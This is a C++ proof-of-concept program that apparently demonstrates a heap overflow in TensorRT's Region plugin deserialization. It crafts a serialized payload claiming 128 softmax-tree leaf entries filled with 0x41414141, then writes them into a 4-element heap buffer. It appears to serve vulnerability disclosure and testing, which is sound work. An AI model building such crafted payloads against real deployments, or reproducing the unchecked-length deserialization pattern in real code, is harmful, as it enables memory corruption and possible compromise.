| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| #include <cstdlib> |
| #include <cstdint> |
| #include <cstring> |
| #include <cstdio> |
|
|
| |
|
|
| template <typename T> |
| void allocateChunk(T*& ptr, int32_t count) |
| { |
| ptr = static_cast<T*>(malloc(count * sizeof(T))); |
| } |
|
|
| template <typename T> |
| T read_val(char const*& d) |
| { |
| T val; |
| memcpy(&val, d, sizeof(T)); |
| d += sizeof(T); |
| return val; |
| } |
|
|
| struct softmaxTree { |
| int32_t* leaf; |
| int32_t n; |
| int32_t* parent; |
| int32_t* child; |
| int32_t* group; |
| char** name; |
| int32_t groups; |
| int32_t* groupSize; |
| int32_t* groupOffset; |
| }; |
|
|
| |
|
|
| int main() |
| { |
| printf("=== TensorRT Region Plugin Heap Overflow PoC ===\n\n"); |
|
|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| |
| |
| |
|
|
| |
| const int32_t MALICIOUS_N = 128; |
| const int32_t ALLOC_N = 4; |
|
|
| |
| size_t payload_size = 6*sizeof(int32_t) + 8*sizeof(bool) + sizeof(int32_t) |
| + MALICIOUS_N * sizeof(int32_t); |
| char* payload = (char*)calloc(1, payload_size); |
| char* p = payload; |
|
|
| |
| int32_t hdr[] = {3, 416, 416, 5, 80, 4}; |
| memcpy(p, hdr, sizeof(hdr)); p += sizeof(hdr); |
|
|
| |
| bool flags[] = {true, true, false, false, false, false, false, false}; |
| memcpy(p, flags, sizeof(flags)); p += sizeof(flags); |
|
|
| |
| memcpy(p, &MALICIOUS_N, sizeof(int32_t)); p += sizeof(int32_t); |
|
|
| |
| for (int i = 0; i < MALICIOUS_N; i++) { |
| int32_t val = 0x41414141; |
| memcpy(p, &val, sizeof(int32_t)); p += sizeof(int32_t); |
| } |
|
|
| printf("[*] Payload size: %zu bytes\n", payload_size); |
| printf("[*] smTreeTemp->n in payload: %d\n", MALICIOUS_N); |
|
|
| |
| printf("[*] Simulating Region::Region(buffer, length)...\n\n"); |
|
|
| char const* d = payload; |
|
|
| |
| int32_t C = read_val<int32_t>(d); |
| int32_t H = read_val<int32_t>(d); |
| int32_t W = read_val<int32_t>(d); |
| int32_t num = read_val<int32_t>(d); |
| int32_t classes = read_val<int32_t>(d); |
| int32_t coords = read_val<int32_t>(d); |
|
|
| |
| bool softmaxTreePresent = read_val<bool>(d); |
| bool leafPresent = read_val<bool>(d); |
| read_val<bool>(d); |
| read_val<bool>(d); |
| read_val<bool>(d); |
| read_val<bool>(d); |
| read_val<bool>(d); |
| read_val<bool>(d); |
|
|
| printf("[*] softmaxTreePresent=%d, leafPresent=%d\n", |
| softmaxTreePresent, leafPresent); |
|
|
| if (softmaxTreePresent) |
| { |
| softmaxTree* smTreeTemp; |
| allocateChunk(smTreeTemp, 1); |
|
|
| smTreeTemp->n = read_val<int32_t>(d); |
| printf("[*] smTreeTemp->n = %d\n", smTreeTemp->n); |
|
|
| if (leafPresent) |
| { |
| |
| |
| printf("[*] Simulating integer overflow: allocating %d elements " |
| "but writing %d\n", ALLOC_N, smTreeTemp->n); |
| allocateChunk(smTreeTemp->leaf, ALLOC_N); |
| printf("[*] malloc(%zu) returned %p\n", |
| (size_t)ALLOC_N * sizeof(int32_t), smTreeTemp->leaf); |
|
|
| |
| printf("[*] Writing %d elements into %d-element buffer...\n", |
| smTreeTemp->n, ALLOC_N); |
| for (int32_t i = 0; i < smTreeTemp->n; i++) |
| { |
| smTreeTemp->leaf[i] = read_val<int32_t>(d); |
| } |
|
|
| printf("[!] Should not reach here - ASan should have caught it\n"); |
| free(smTreeTemp->leaf); |
| } |
| free(smTreeTemp); |
| } |
|
|
| free(payload); |
| return 0; |
| } |
|
|